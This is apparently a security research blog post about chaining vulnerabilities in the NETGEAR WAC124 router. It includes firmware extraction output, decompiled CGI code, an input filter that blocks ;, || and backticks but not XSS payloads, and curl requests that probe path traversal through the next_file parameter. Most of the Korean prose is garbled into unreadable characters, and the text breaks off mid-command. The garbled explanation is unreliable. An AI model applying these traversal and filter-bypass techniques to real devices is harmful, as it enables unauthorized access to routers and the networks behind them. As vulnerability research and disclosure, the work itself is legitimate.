Translation
This is the work done while working at Flatt Security Inc.
- Japanese: https://blog.flatt.tech/entry/psv-2022-0044
- English: https://flattsecurity.medium.com/cve-2021-20226-a-reference-counting-bug-which-leads-to-local-privilege-escalation-in-io-uring-e946bd69177a
Flatt Security Inc.Flatt Security Inc. provides security assessment services. We are willing to have offers from overseas.
If you have any question, please contact us by https://flatt.tech/en/. Thank you in advance for reading this article.
์๋ ํ์ธ์. Flatt Security Inc์ stypr(@stereotype32)์ ๋๋ค. ์ ๋ก๋ฐ์ด ๋ธ๋ก๊ทธ๋ฅผ ์์ฑํ ์ดํ ๊ฝค ๋ง์ ์๊ฐ์ด ์ง๋ฌ์ต๋๋ค.
์๋ ์ ์ผ๋ณธ OSS ์ ํ์์ ๋ฐ๊ฒฌ๋ ์ ๋ก๋ฐ์ด์ ๋ํ ๊ธ๊ณผ ์ฌํด ์ด์๋ mysqljs์์ ๋ฐ๊ฒฌ๋๋ SQL ์ธ์ ์ ๊ธฐ๋ฒ์ ๋ํด ์๊ฐํ์๋๋ฐ์.
์ฌ์ค ์ด ์ธ์๋ ์ฌ๋ฌ ์ ํ์์ ๋ค์ํ ์ทจ์ฝ์ ์ ์ฐพ์์ง๋ง, ์ ๊ฐ ๋ฐ๊ฒฌํ ๋ฒ๊ทธ์ ๋๋ถ๋ถ์ ๋ฐ๋ก ์์ ๋์ง ์๊ฑฐ๋ ๊ฐ๋ฐ์๋ก๋ถํฐ ๋ฐฉ์น๋ ์ํฉ์ด๊ธฐ์ ์ฌ๋ฏธ์๋ ์ทจ์ฝ์ ๋ค์ ๋ํด ๊ณต์ ํ ๊ธฐํ๊ฐ ๋ง์ด ์์๋ ๊ฒ ๊ฐ์ต๋๋ค.
์ด๋ฒ ๊ธ์์๋ NETGEAR์ WAC124(AC2000) ๋ผ์ฐํฐ์์ ๋ค์ํ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ , ์ฌ์ ์กฐ๊ฑด ์์ด ์ทจ์ฝ์ ๋ค์ ์ฒด์ด๋ํ์ฌ ์ธ์ฆ ์ฐํ๋ถํฐ ์์คํ ์๊น์ง ์ทจ๋ํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํ๊ณ ์ ํฉ๋๋ค. ์ทจ์ฝ์ ์ ์ฐพ์ ์์๋ถํฐ, ์ทจ์ฝ์ ์ ๋ํ ๊ธฐ์ ์ ์ธ ์ค๋ช ๊ณผ ๊ณต๊ฒฉํ๋ ๋ถ๋ถ๊น์ง ์์ ํฉ๋๋ค. ์ด๋ฒ ๋ผ์ฐํฐ์ ๊ฒฝ์ฐ ์์ ํ๋ ๋ชจ๋ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์์ ์์ฑํ๋๋ฐ ์ฝ 1์ฃผ์ผ ์ ๋ ๊ฑธ๋ ธ๊ณ , ์์ฑ๋ ์ต์คํ๋ก์์ ์ ์ ์กฐ๊ฑด์ด ํ์ํ ์ต์คํ๋ก์๊ณผ ํ์ํ์ง ์์ ์ต์คํ๋ก์ ๋๊ฐ๋ก ๋๋ฉ๋๋ค.
ํ๊ฐ์ง ์ํ๊น์ด ์์์ ๋์ดํธํธํฌ์ ์ค๋ฅด๋น ์ ํ๊ตฐ์ ๋ํด์๋ง ๋ฐ์ดํฐ๋ฅผ ์ง๊ธํ๊ณ ์๊ณ ์๋ค๋ ์ ์ด๊ณ , NETGEAR WAC124๋ ๋น์ฆ๋์ค์ฉ์ผ๋ก ๋ง๋ค์ด์ก์์๋ ๋ถ๊ตฌํ๊ณ ๋ณด์๊ธ์ด ์ง๋ถ๋์ง ์์์ต๋๋ค. ํ์ง๋ง ์ด๋ฒ ๊ธฐํ๋ฅผ ํตํด ์ ๋ฌด ์ธ์ ์ธ ํ๋์์ ๋ผ์ฐํฐ๋ฅผ ๊ณต๊ฒฉํ๋ ๊ฒ์ ์ฒ์์ด์๊ธฐ ๋๋ฌธ์ ์๊ฐ๋ณด๋ค ์ฌ๋ฏธ์๊ฒ ํ ์ ์์๋ ๊ฒ ๊ฐ์ต๋๋ค.
๊ฐ๊น์ด ๋ฏธ๋์๋ ๋ค๋ฅธ ์ ํ์ ๋ผ์ฐํฐ์์ ์ฌ๋ฌ ์ข ๋ฅ์ ์ทจ์ฝ์ ์ ํํค์น ๊ณํ์ ๋๋ค. NETGEAR ํ์๊ฒ ์น์ ํ๊ณ ๋น ๋ฅธ ํจ์น๋ฅผ ํด์ฃผ์ ์ ์ ๋ํด์๋ ๊ฐ์ฌ์ ๋ง์์ ๋ฏธ๋ฆฌ ๋๋ฆฝ๋๋ค.
๋ณธ ๊ธ ๋ฐ ๊ธฐํ ๊ธ๋ค์ ๋ํ ๋ด์ฉ์ ๋ณด์์ ๊ดํ ์ง์์ ๋๋ฆฌ ๊ณต์ ํ ๋ชฉ์ ์ผ๋ก ์งํ๋๊ณ ์์ผ๋ฉฐ, ์ทจ์ฝ์ฑ์ ์ ์ฉ ๋ฑ์ ๊ณต๊ฒฉ ํ์๋ฅผ ๊ถ์ฅํ๋ ๊ฒ์ ์๋๋๋ค.
ํ๊ฐ ์์ด ์ ํ์ ๊ณต๊ฒฉํ๋ ํ์๋ ๋ฒ์ฃ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
๋ณธ ๋ธ๋ก๊ทธ์์ ๊ธฐ์ฌํ๋ ์ ๋ณด๋ฅผ ์ฐธ์กฐยท๋ชจ๋ฐฉํ์ฌ ํํด์ง ํ์์ ๊ดํ์ฌ ๋น์ฌ ๋ฐ ์ทจ์ฝ์ ์ ๋ณด์๋ ์ผ์ ์ฑ ์์ง์ง ์์ต๋๋ค.
์๋ฒ ๋๋ ์ฅ๋น๋ฅผ ๋ถ์ํ๊ธฐ ์ ์ ๋จผ์ ๊ธฐ๊ธฐ์ ์ด๋ ํ ํฌํธ๊ฐ ์๋์ง, ์ด๋ ํ ๋ฌผ๋ฆฌ์ ์ธ ๊ธฐ๋ฅ๋ค์ด ์๋์ง, ๊ทธ๋ฆฌ๊ณ ๋ผ์ฐํฐ๊ฐ ์ด๋ป๊ฒ ํ์จ์ด๋ฅผ ์ ์ฅํ๊ณ ์๋์ง ๋ฑ์ ํ์ธํด์ผ ํฉ๋๋ค. ์ด๋ฌํ ๊ณผ์ ์ ํตํด ์จ๊ฒจ์ง๊ฑฐ๋ ์ ํ์ธํด๋ณด์ง ๋ชปํ ๋ถ๋ถ๋ค์ ๋์น์ง ์๊ณ ํจ์จ์ ์ผ๋ก ์ทจ์ฝ์ ์ ์ฐพ์๋ณผ ์ ์์ต๋๋ค.
WAC124 ๋ผ์ฐํฐ์ ํ๋์จ์ด ์ฌ์์ ์ฝ๋ค ๋ณด๋ฉด CPU๊ฐ MIPS ์ํคํ ์ฒ์์ ์ ์ ์์ต๋๋ค. MIPS ์ํคํ ์ณ ๊ณ์ด ๋ฐ์ด๋๋ฆฌ์ ๊ฒฝ์ฐ, ๋์ปดํ์ผ ์ธก๋ฉด์์ ๊ธฐ๋๋ผ๊ฐ ๊ทธ๋ญ์ ๋ญ ์ฑ๋ฅ๊ณผ ํ์ง์ ๋ฐํํ๋ ๊ฒ ๊ฐ์ ์ด๋ฒ์๋ ๊ธฐ๋๋ผ(https://ghidra-sre.org/)๋ฅผ ์ฌ์ฉํ๊ธฐ๋ก ํ์์ต๋๋ค.
์ฌ๊ธฐ์ ์ฐธ๊ณ ํ ๋งํ ๊ฒ์, ๋ผ์ฐํฐ์๋ ๋ฏธ๋์ด ๊ณต์ ๋ฅผ ์ํ USB ํฌํธ๊ฐ ์๋ค๋ ์ ์ด๊ณ , ํด๋น ํฌํธ๋ ์ถํ ๋ณธ ๊ธฐ์ฌ์์ ์ธ๊ธํ ์์ ์ ๋๋ค.
๋ค์์ WAC124 ๋ผ์ฐํฐ์ ์ฌ์์ ๋๋ค.
Type | Value |
---|---|
CPU | MediaTek MT7621AT @880MHz MIPS |
Memory | 128MB (SDRAM) DDR3L |
Storage | 128MB SLC NAND Flash |
Wi-Fi | MediaTek MT7615N (802.11an+ac) MediaTek MT7603EN (802.11bgn) |
Network | 5x Gigabit Ethernet ports |
USB | 1x USB 2.0 ports |
Power | 12V, 1.5A via barrel |
๋ณดํต ๋ผ์ฐํฐ๋ IoT ๋๋ฐ์ด์ค๋ฅผ ๊ณต๊ฒฉํ ๋๋ ๋จผ์ ์ฅ๋น์ ํ์จ์ด๋ฅผ ๋คํํด์ผํ๋๋ฐ, ๋ณดํต ํ๋์จ์ด์ ๋ํ ๊ธฐ์ด์ง์์ด ํ์ํ๊ฑฐ๋ UART ๋ฑ์ ์๋ฆฌ์ผ ํฌํธ๋ ๋๋ฒ๊น ํฌํธ๋ฅผ ์ฐพ์์ ์ ์ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
๋คํํ NETGEAR ํ์จ์ด๋ ๊ณต์ ์ฌ์ดํธ์์ ๋ค์ด๋ก๋ ๋ฐ์ ์ ์๊ธฐ ๋๋ฌธ์, ๋์ ๋ผ์ฐํฐ์ ํ์จ์ด ๊ธฐ์ข ์ ๊ฒ์ํ์ฌ ์ ์ ํ ํ์จ์ด๋ฅผ ๋ค์ด๋ก๋ ๋ฐ์ผ๋ฉด ๋ฉ๋๋ค. ๋ณธ ๊ธฐ์ฌ๋ฅผ ์ฐ๊ณ ์๋ ์์ ์์์ WAC124์ ์ต์ (์ทจ์ฝํ) ๋ฒ์ ์ V1.0.4.6์ ๋๋ค. ํ์ฌ๋ V1.0.4.7์์ ์ ์์ผ๋ก ์ทจ์ฝ์ ์ด ํจ์น๋์์ต๋๋ค.
NETGEAR์ ํ์จ์ด์ ๊ฒฝ์ฐ binwalk
(https://github.com/ReFirmLabs/binwalk)์ squashfs-tools
๋ฅผ ์ด์ฉํ์ฌ ์ฝ๊ฒ ํ์จ์ด์์ ํ์ผ์ ์ถ์ถํด๋ผ ์ ์์ต๋๋ค. ๋ค์ ์ฝ๋์ ๊ฐ์ด binwalk
๋ฅผ ์ฌ์ฉํ์ฌ ํ์จ์ด๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์ถ์ถํ ์ ์์์ต๋๋ค.
# binwalk -e ./WAC124.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I"
113984 0x1BD40 U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)"
262074 0x3FFBA Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
2097152 0x200000 uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2097216 0x200040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes
6291456 0x600000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44
48234496 0x2E00000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
48234624 0x2E00080 Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml
48262193 0x2E06C31 Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml
48275929 0x2E0A1D9 Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js
48320002 0x2E14E02 End of Zip archive
50331648 0x3000000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
50331776 0x3000080 Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml
50360412 0x300705C Zip archive data, at least v2.0 to extract, compres
...
๋ผ์ฐํฐ์ ๋๋ ํ ๋ฆฌ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ด ์ถ๋ ฅ๋ฉ๋๋ค.
# cd _WAC124.bin.extracted/squashfs-root
# ls -al
total 156
drwxr-xr-x 13 root root 4096 Jun 21 2016 .
drwxr-xr-x 127 root root 69632 Sep 6 18:31 ..
lrwxrwxrwx 1 root root 9 Mar 20 2020 bin -> usr/sbin/
drwxrwxrwx 2 root root 4096 Aug 15 2015 data
drwxr-xr-x 2 root root 4096 Oct 19 2015 dev
lrwxrwxrwx 1 root root 8 Mar 20 2020 etc -> /tmp/etc
lrwxrwxrwx 1 root root 11 Mar 20 2020 etc_ro -> /tmp/etc_ro
drwxr-xr-x 2 root root 4096 Dec 2 2012 home
lrwxrwxrwx 1 root root 11 Mar 20 2020 init -> bin/busybox
drwxr-xr-x 5 root root 12288 Mar 20 2020 lib
drwxr-xr-x 2 root root 4096 Dec 2 2012 media
lrwxrwxrwx 1 root root 8 Mar 20 2020 mnt -> /tmp/mnt
drwxr-xr-x 6 root root 4096 Mar 20 2020 opt
drwxr-xr-x 2 root root 4096 Nov 13 2000 proc
lrwxrwxrwx 1 root root 9 Mar 20 2020 sbin -> usr/sbin/
drwxr-xr-x 2 root root 4096 Nov 17 2008 sys
drwxr-xr-x 2 root root 4096 Jul 29 2000 tmp
drwxr-xr-x 10 root root 4096 Jun 21 2016 usr
lrwxrwxrwx 1 root root 8 Mar 20 2020 var -> /tmp/var
lrwxrwxrwx 1 root root 8 Mar 20 2020 www -> /tmp/www
drwxr-xr-x 9 root root 32768 Mar 20 2020 www.eng
์ด๋ฒ ๊ธ์์ ์ธ๊ธํ๊ฒ ๋ ํ์ผ ๋ชฉ๋ก์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
/bin/mini_httpd
, mini_httpd
: HTTP ์๋ฒ ๋ฐ๋ชฌ
/bin/setup.cgi
, setup.cgi
: ์ค์ ์ ์ฒ๋ฆฌํ๋๋ฐ ์ฌ์ฉ๋๋ CGI ํ์ผ (ELF ๋ฐ์ด๋๋ฆฌ)
/www.eng/
: HTTP ์๋ฒ์ ๋ฃจํธ ๋๋ ํ ๋ฆฌ
/etc/htpasswd
: ๊ด๋ฆฌ์ ํ์ด์ง ์ธ์ฆ์ฉ์ผ๋ก ์ฌ์ฉ๋๊ณ ์๋ ์ํธํ๋์ง ์์ ๋ก๊ทธ์ธ ์ธ์ฆ ํ์ผ์
๋๋ค.
์ฌ์ฉ์๋ช
:๋น๋ฐ๋ฒํธ
์
๋๋ค. (....)์ผ๋ฐ์ ์ผ๋ก ์๋ฒ ๋๋ ๊ธฐ๊ธฐ์ ํน์ฑ์ ๊ฐ๋ฐ์๊ฐ ์น ๊ด๋ จ ๋ถ๋ถ์ ํฌ๊ฒ ์ ๊ฒฝ์ ์ฐ์ง ์๊ณ XSS์ ๊ฐ์ ์ทจ์ฝ์ ์ ๋ฐฉ์นํด๋๊ธฐ ๋๋ฌธ์, ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS)๊ณผ ๊ฐ์ ๊ธฐ๋ณธ์ ์ธ ์ทจ์ฝ์ ์ ์ฐพ์๋ณด๋ ๋ฐฉ๋ฒ ๋ฑ์ ์ฐ์ ์งํํด๋ณผ ์ ์๊ฒ ์ต๋๋ค.
/www.eng/
์์ ์์ํด๋ณด์ด๋ HTML ํ์ผ๋ค์ ์ข ์ฝ์ด๋ณด๋ usb_new_fld.htm
ํ์ผ์์ @usb_opener_htm#
์ด๋ผ๋ ๊ฐ์ ํ์ธํ ์ ์์๊ณ , ์ด๋ฅผ ํตํด ์์ฒด์ ์ธ ํ
ํ๋ฆฟ ์์ง์ด ๊ตฌํ๋์ด ์๋ค๋ ๊ฒ์ ์ ์ ์์์ต๋๋ค. ๋ค์์ usb_new_fld.htm
ํ์ผ์ ๋ด์ฉ์
๋๋ค.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
...
<script>
...
function browseDisk()
{
var cf = document.forms[0];
dataToHidden(cf);
cf.todo.value = "browse";
cf.next_file.value = "usb_fld_tree.htm";
return true;
}
function end()
{
opener.location.href = "@usb_opener_htm#";
self.close();
}
...
</script>
๋ด๋ถ์ ์ผ๋ก ์ด๋ค์์ผ๋ก ์๋ํ๋์ง์ ๋ํด ์กฐ๊ธ ๋ ๊น์ด ์ดํด๋ณด๋, ์ด๋๋ ํ์ผ์์ ํ
ํ๋ฆฟ์ ํด์ํ๋ html_parser
๋ผ๋ ํจ์๊ฐ ์๋ค๋ ๊ฒ์ ํ์ธํ์์ต๋๋ค.
์ด ํจ์์ ๋ํด์ ์์ธํ ํ์คํ์ค ์ฝ์ด๊ฐ๋ฉฐ ํ์ธํ์ง๋ ์์์ง๋ง, ์ด ํจ์๋ ๋๋ต์ ์ผ๋ก ์๋์ ๊ฐ์ ์ฒ๋ฆฌ๋ฅผ ํ๊ณ ์์์ต๋๋ค.
์์ฒญ๋ ๋ฆฌํ์คํธ๋ฅผ ํตํด ์ ์ ํ ํ์ผ์ ์ฝ๋๋ฐ, ์ฌ๊ธฐ์ ํน์ ํ์ผ ํ์ฅ์๋ฅผ ์ฒดํฌํ๋ค (์ด์ ๋ํด์๋ ์ดํ ์์ธํ ํ์ ํฉ๋๋ค)
@variable#
์ ์กฐ๊ฑด์ ๋ง๋ ๊ฐ์ ๊ฒ์ํฉ๋๋ค
์๋ง์ ๋ฌธ์๋ฅผ ์ฐพ์ผ๋ฉด ์ ์ค์ ๊ฐ์ผ๋ก ๋ฐ๊ฟ๋๋ค.
๋ค์์ setup.cgi
์ html_parser
ํจ์์์ ์ฌ์ฉ๋๋ ์ฝ๋์
๋๋ค.
undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
...
fp = open(filename,0);
...
read(fp,buf,0xffff);
close(fp);
...
tmp = strtok(buf,"@");
while (tmp != (char *)0x0) {
fputs(tmp,stdout);
tmp = strtok((char *)0x0,"#");
if (tmp != (char *)0x0) {
memset(acStack131120,0,0xffff);
ppcVar1 = param_3;
do {
while( true ) {
ppcVar2 = ppcVar1;
if (*ppcVar2 == (char *)0x0) goto LAB_00423e54;
if (ppcVar2[1] != (char *)0x0) break;
ppcVar1 = ppcVar2 + 6;
}
fp = strcmp(tmp,*ppcVar2);
ppcVar1 = ppcVar2 + 6;
} while (fp != 0);
...
LAB_00423e54:
fputs(acStack131120,stdout);
}
tmp = strtok((char *)0x0,"@");
}
ret = 0;
}
}
return ret;
}
๊ทธ ๋ฐ์๋ nvram
์ usb_opener_htm
์ ์ถ๊ฐํ๋ ํจ์ ๋ฑ๋ ์์์ง๋ง, ๋ธ๋ก๊ทธ ๊ธฐ์ฌ์์ ๋ชจ๋ ๋ถ๋ถ์ ์ค๋ช
ํ๊ธฐ์๋ ๋๋ฌด ๊ธธ์ด์ง๋ฏ๋ก ํด๋น ๋ถ๋ถ์ ์๋ตํฉ๋๋ค.
์ ์ฝ๋๋ฅผ ์ดํดํจ์ผ๋ก์จ ํ ํ๋ฆฟ ๊ฐ์ ์ด๋ค์์ผ๋ก ์ฒ๋ฆฌํ๋์ง์ ๋ํด์ ์ดํดํ๋๋ฐ๋ ์ฑ๊ณตํ์ง๋ง, ์ ์ ๋ฐ์ดํฐ๋ฅผ ์ด๊ฒ์ ๊ฒ ์ ๋ ฅํ๋ค ๋ณด๋ฉด ์๋ฒ์์ ๋ฆฌํ์คํธ๋ฅผ ์ฐจ๋จํ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
๊ฒฐ๊ตญ ํจ์ ํธ์ถ์ด ๋๋ ๋ถ๋ถ์ ์ ๋ถ ์ถ์ ํ๋ค setup.cgi
์ main
ํจ์๋ฅผ ์กฐ์ฌํด๋ณด๋, FindForbidValue
๋ผ๋ ํจ์์์ HTTP ์์ฒญ์ผ๋ก๋ถํฐ ์
๋ ฅ๊ฐ์ ๊ฒ์ฌํ๊ณ ์ฐจ๋จํ๋ ๊ธฐ๋ฅ์ด ์ถ๊ฐ๋์ด ์์์ ํ์ธํ ์ ์์์ต๋๋ค.
๋ค์์ setup.cgi
์ main
ํจ์์
๋๋ค.
undefined4 main(undefined4 param_1,char **param_2)
{
...
int iVar8; // parsed input ptrptr?
...
if (iVar8 == 0) {
iVar8 = cgi_input_parse(param_1,param_2);
}
iVar1 = FindForbidValue(iVar8);
if (iVar1 != 0) {
iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c);
if (iVar8 != 0) {
(**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b);
(**(code **)(local_30 + -0x7b40))("Invalid input value!\n",iVar8);
(**(code **)(local_30 + -0x7a9c))(iVar8);
}
send_forbidden();
return 0;
}
...
}
์ด์ด์ FindForbidValue
์ ๋์ปดํ์ผ๋ ์ฝ๋๋ฅผ ์ฝ์ด๋ณด๋ ์ด๋ฏธ ;
, ||
, ๋ฐฑํฑ (`
)๋ฑ์ ์ผ๋ถ ๊ฐ์ ํํฐ๋ง์ด ๋์ด ์ฐจ๋จ๋์ด ์์ต๋๋ค๋ง, XSS ๊ด๋ จํ ํ์ด๋ก๋๋ ์ ํ ์ฐจ๋จ๋์ง ์์์์์ ํ์ธํ ์ ์์์ต๋๋ค.
์ด ๋ถ๋ถ๋ง ์ ํ์ธํ๋ค๋ฉด XSS๋ฅผ ์ถฉ๋ถํ ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค.
uint FindForbidValue(int **param_1)
{
int iVar1;
char **ppcVar2;
char *__s1;
undefined4 uVar3;
char **ppcVar4;
char *__s;
char **ppcVar5;
uVar3 = 0;
if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) &&
(ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) {
do {
do {
ppcVar4 = (char **)ppcVar2[1];
if (ppcVar4 == (char **)0x0) {
__s = *(char **)(*ppcVar2 + 4);
__s1 = strchr(__s,0x60);
if (__s1 != (char *)0x0) {
return 1;
}
__s1 = strstr(__s,"||");
if (__s1 != (char *)0x0) {
return 1;
}
__s1 = strchr(__s,0x3b);
return (uint)(__s1 != (char *)0x0);
}
ppcVar5 = (char **)*ppcVar2;
__s = ppcVar5[1];
__s1 = strchr(__s);
ppcVar2 = ppcVar4;
} while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) &&
(__s1 = strstr(__s,"||"), __s1 == (char *)0x0));
__s1 = *ppcVar5;
iVar1 = strcmp(__s1,"ssid");
} while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) ||
((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 ||
(iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0))));
uVar3 = 1;
}
return uVar3;
}
๋ช๋ฒ์ ์๋ํ ์ฑ๊ณต์ ์ผ๋ก ๋ธ๋ผ์ฐ์ ์์ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํฌ ์ ์์์ต๋๋ค.
ํ์ง๋ง ๋ณธ ๊ธฐ์ฌ์ ์ด๋ฐ์์ ์ธ๊ธํ๋ ๋๋ก, ์ ์ต์ข ์ ์ธ ๋ชฉ์ ์ ์๋ฌด๋ฐ ์ ์ ์กฐ๊ฑด ์์ด ๊ถํ์ด ์๋ ์ํ์์ ์์คํ ์๊น์ง ์ทจ๋์ ํ๋ ๊ณต๊ฒฉ์ ์๋ํด๋ณด์๋ ๊ฒ์ด์๊ณ , XSS ์ทจ์ฝ์ ๋ง์ผ๋ก๋ ๊ด๋ฆฌ์๊ฐ ํด๋น URL์ ์ ์ํด์ผํ๋ค๋ ์ ์ ์กฐ๊ฑด์ด ์๊ณ ์ ์ XSS๋ฅผ ์ฐพ๋๋ค๊ณ ์์คํ ์์ ๋ฐ๋ก ์ทจ๋ํ ์๋ ์๊ธฐ ๋๋ฌธ์, ์ต์ข ๋ชฉ์ ์ ๋ฌ์ฑํ๊ธฐ ์ํด์๋ ์์ผ๋ก ๋ ๋ง์ ๋ถ์์ด ํ์ํฉ๋๋ค.
์ด์ ์ค๋น ์ด๋์ ๋๋ฌ์ผ๋, ๋ค๋ฅธ ๊ธฐ๋ฅ๋ค์ ๋ํด์๋ ์กฐ๊ธ์ฉ ํ์ธํด๋ณด๊ธฐ๋ก ํ์ต๋๋ค. XSS์ ๊ฐ์ ์ทจ์ฝ์ ์ ์ฐพ๋๊ฒ ๋ค์ ๋ถํ์ํ ๋ถ๋ถ์ผ ์๋ ์๊ฒ ์ง๋ง, ์ ์ ๊ฒฝ์ฐ XSS๋ฅผ ์ฐพ๋ ๊ณผ์ ์์ ์ง๋ฃจํ ์ ์ ๋ถ์ ๊ณผ์ ์ ์์ํ๊ธฐ ์ ์ ๊ธฐ๋ถ ์ ํ์ ํ๋๋ฐ ๋์์ด ๋์์ต๋๋ค.
์๋์ผ๋ก ์ ์ ๋ถ์์ ์งํํ๋ฉด์ setup.cgi
ํ์ผ์ ํ
์คํธํ๋ ๋์ค next_file
ํ๋ผ๋ฏธํฐ์์ ๋ช๊ฐ์ง์ ์ ์ ์๋ ๋์๋ฑ์ ํ์ธํ์์ต๋๋ค. ( ์ด ํ๋ผ๋ฏธํฐ์ ๊ฒฝ์ฐ ์ถํ Path Traversal๋ ๊ฐ๋ฅํ๋ฏ๋ก ํ์ ํ๋ ๋ด์ฉ์์๋ ๊ณ์ ์ธ๊ธ๋ฉ๋๋ค. )
์ฐ์ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ์ง ์์ ์ํ์์ .htm
, .html
, .asp
๋ฑ์ ํ์ฅ์๊ฐ ์๋ URL๋ก ๊ทธ๋๋ก ์ ๊ทผํ ๊ฒฝ์ฐ ์ฌ์ฉ์๋ฅผ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ๋ค์ ๋ฆฌ๋ค์ด๋ ํธ ๋์ง๋ง, .png
, .xml
๋ฐ ์ด๋ฏธ์ง ํ์ฅ์๋ค์ ๊ฒฝ์ฐ ์๋ฒ๋ก ๋ถํฐ ์๋ต์ด ๋์ฐฉํ์ง ์๋ ์ ์ ํ์ธํ์์ต๋๋ค.
๋ค์๊ณผ ๊ฐ์ด htm, html, asp ํ์ผ์ ํ์ฅ์๋ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ๋ฆฌ๋ค์ด๋ ํธ ๋ฉ๋๋ค.
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.htm'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.html'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.asp'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
๋ฐ๋๋ก png์ xml ํ์ฅ์๋ก ์ ๊ทผ์ ์๋ฒ๋ก๋ถํฐ ์๋ต์ด ๋์ฐฉํ์ง ์์ต๋๋ค.
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.png'
curl: (52) Empty reply from server
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.xml'
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg'
curl: (52) Empty reply from server
ํ์ง๋ง ์ฌ๊ธฐ์ ์๋ต์ ๋ณด๋ฉฐ ๋ช ๊ฐ์ง์ ๋ถ๊ท์นํ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. ์ด๋ ํ ์ด์ ๋ก ์ธํด .xml
์ ๊ฒฝ์ฐ (52) Empty reply from server
๊ฐ ์ถ๋ ฅ๋์ง ์๋๋ค๋ ์ ์
๋๋ค.
์ฌ๊ธฐ์ Path Traversal์ ์๋ํด๋ณด๋ ๋ผ์ฐํฐ์ ์ด๋ฏธ ์กด์ฌํ๋ .xml
ํ์ผ๋ค์ ์ ์์ ์ผ๋ก ์ฝ์ ์ ์์์ง๋ง, ์ด๋ฏธ์ง ํ์ผ ๋ฑ์ next_file
์ ํตํด ๋ถ๋ฌ๋ค์ผ ์ ์์์ต๋๋ค.
$ curl -H "User-Agent: Mozilla/5.0" \
